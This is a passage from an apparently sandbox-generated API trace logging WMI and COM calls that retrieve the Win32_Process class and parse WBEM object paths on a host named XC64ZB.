pszText="\\\\.\\root\\cimv2") returned 0x0 [0134.523] CoGetContextToken (in: pToken=0x1b10d290 | out: pToken=0x1b10d290) returned 0x0 [0134.523] WbemLocator:IUnknown:AddRef (This=0x1b459d58) returned 0x3 [0134.523] WbemLocator:IUnknown:QueryInterface (in: This=0x1b459d58, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d290 | out: ppvObject=0x1b10d290*=0x1b459d58) returned 0x0 [0134.523] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x3 [0134.524] WbemLocator:IUnknown:Release (This=0x1b459d58) returned 0x2 [0134.524] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10d990*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d990*=0xe, pszText=0x0) returned 0x0 [0134.524] WbemDefPath:IWbemPath:GetText (in: This=0x352580, lFlags=2, puBuffLength=0x1b10d990*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10d990*=0xe, pszText="Win32_Process") returned 0x0 [0134.524] IWbemServices:GetObject (in: This=0x1b3e26b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d910*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d910*=0x1b4324f0, ppCallResult=0x0) returned 0x0 [0134.629] IWbemClassObject:Get (in: This=0x1b4324f0, wszName="__PATH", lFlags=0, pVal=0x1b10d8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10da08*=0, plFlavor=0x1b10da00*=0 | out: pVal=0x1b10d8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b10da08*=8, plFlavor=0x1b10da00*=64) returned 0x0 [0134.629] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0134.629] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0134.629] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8d8 | out: ppv=0x1b10d8d8*=0x3111d8) returned 0x0 [0134.630] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8c8 | out: pAptType=0x1b10d8c8*=1) returned 0x0 [0134.630] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8d0 | out: ppvObject=0x1b10d8d0*=0x0) returned 0x80004002 [0134.630] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.630] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccc8 | out: ppv=0x1b10ccc8*=0x1b433d90) returned 0x0 [0134.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433d90, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cdb0 | out: ppvObject=0x1b10cdb0*=0x0) returned 0x80004002 [0134.631] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433d90, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd88 | out: ppvObject=0x1b10cd88*=0x1b455e70) returned 0x0 [0134.631] WbemDefPath:IUnknown:Release (This=0x1b433d90) returned 0x0 [0134.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb30 | out: ppvObject=0x1b10cb30*=0x1b455e70) returned 0x0 [0134.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbc0 | out: ppvObject=0x1b10cbc0*=0x0) returned 0x80004002 [0134.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3b8 | out: ppvObject=0x1b10c3b8*=0x0) returned 0x80004002 [0134.631] WbemDefPath:IUnknown:AddRef (This=0x1b455e70) returned 0x3 [0134.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c278 | out: ppvObject=0x1b10c278*=0x0) returned 0x80004002 [0134.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c200 | out: ppvObject=0x1b10c200*=0x0) returned 0x80004002 [0134.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x1b4334d0) returned 0x0 [0134.631] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4334d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c218 | out: pCid=0x1b10c218*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.632] WbemDefPath:IUnknown:Release (This=0x1b4334d0) returned 0x3 [0134.632] CoGetContextToken (in: pToken=0x1b10c2a0 | out: pToken=0x1b10c2a0) returned 0x0 [0134.632] CoGetContextToken (in: pToken=0x1b10c720 | out: pToken=0x1b10c720) returned 0x0 [0134.632] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7e0 | out: ppvObject=0x1b10c7e0*=0x0) returned 0x80004002 [0134.632] WbemDefPath:IUnknown:Release (This=0x1b455e70) returned 0x2 [0134.632] WbemDefPath:IUnknown:Release (This=0x1b455e70) returned 0x1 [0134.632] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0134.632] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0134.632] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455e70, riid=0x1b10d570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b455e70) returned 0x0 [0134.632] WbemDefPath:IUnknown:AddRef (This=0x1b455e70) returned 0x3 [0134.632] WbemDefPath:IUnknown:Release (This=0x1b455e70) returned 0x2 [0134.632] WbemDefPath:IWbemPath:SetText (This=0x1b455e70, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0134.632] IWbemClassObject:Get (in: This=0x1b4324f0, wszName="__SERVER", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=0, plFlavor=0x1b10dab8*=0 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0134.632] SysStringByteLen (bstr="XC64ZB") returned 0xc [0134.633] SysStringByteLen (bstr="XC64ZB") returned 0xc [0134.633] IWbemClassObject:Get (in: This=0x1b4324f0, wszName="__NAMESPACE", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0134.633] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0134.633] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0134.633] IWbemClassObject:Get (in: This=0x1b4324f0, wszName="__CLASS", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0134.633] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0134.633] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0134.633] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0134.633] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0134.633] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0134.633] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.634] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33ace0) returned 0x0 [0134.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x33ace0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0134.634] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33ace0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x1b455330) returned 0x0 [0134.635] WbemDefPath:IUnknown:Release (This=0x33ace0) returned 0x0 [0134.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x1b455330) returned 0x0 [0134.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0134.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0134.635] WbemDefPath:IUnknown:AddRef (This=0x1b455330) returned 0x3 [0134.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0134.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0134.635] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33ad00) returned 0x0 [0134.638] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33ad00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.638] WbemDefPath:IUnknown:Release (This=0x33ad00) returned 0x3 [0134.638] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0134.638] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0134.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0134.638] WbemDefPath:IUnknown:Release (This=0x1b455330) returned 0x2 [0134.638] WbemDefPath:IUnknown:Release (This=0x1b455330) returned 0x1 [0134.638] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0134.638] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0134.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b455330, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b455330) returned 0x0 [0134.638] WbemDefPath:IUnknown:AddRef (This=0x1b455330) returned 0x3 [0134.638] WbemDefPath:IUnknown:Release (This=0x1b455330) returned 0x2 [0134.638] WbemDefPath:IWbemPath:SetText (This=0x1b455330, uMode=0x4, pszPath="") returned 0x0 [0134.639] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0134.639] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0134.639] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0134.639] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.639] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33a620) returned 0x0 [0134.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x33a620, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0134.640] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33a620, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x1b4554b0) returned 0x0 [0134.640] WbemDefPath:IUnknown:Release (This=0x33a620) returned 0x0 [0134.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x1b4554b0) returned 0x0 [0134.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0134.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0134.640] WbemDefPath:IUnknown:AddRef (This=0x1b4554b0) returned 0x3 [0134.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0134.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0134.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x33aa00) returned 0x0 [0134.640] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x33aa00, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0134.640] WbemDefPath:IUnknown:Release (This=0x33aa00) returned 0x3 [0134.640] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0134.641] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0134.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0134.641] WbemDefPath:IUnknown:Release (This=0x1b4554b0) returned 0x2 [0134.641] WbemDefPath:IUnknown:Release (This=0x1b4554b0) returned 0x1 [0134.641] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0134.641] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0134.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4554b0, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x1b4554b0) returned 0x0 [0134.641] WbemDefPath:IUnknown:AddRef (This=0x1b4554b0) returned 0x3 [0134.641] WbemDefPath:IUnknown:Release (This=0x1b4554b0) returned 0x2 [0134.641] WbemDefPath:IWbemPath:SetText (This=0x1b4554b0, uMode=0x4, pszPath="") returned 0x0 [0134.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4554b0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0134.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b455330, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0134.641] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4554b0, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0134.641] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4554b0, puNameBufLength=0x1b10da10*=0x0, pName=0x0 | out: puNameBufLength=0x1b10da10*=0x0, pName=0x0) returned 0x80041009 [0134.641] WbemDefPath:IWbemPath:SetServer (This=0x1b4554b0, Name="XC64ZB") returned 0x0 [0134.641] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0134.641] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0134.642] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0134.642] IUnknown:Release (This=0x3111d8) returned 0x1 [0134.642] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x33aca0) returned 0x0 [0134.642] WbemDefPath:IUnknown:QueryInterface (in: This=0x33aca0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0134.642] WbemDefPath:IClassFactory:CreateInstance (in: This=0x33aca0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x1b455b70) returned 0x0 [0134.642] WbemDefPath:IUnknown:Release (This=0x33aca0) returned 0x0 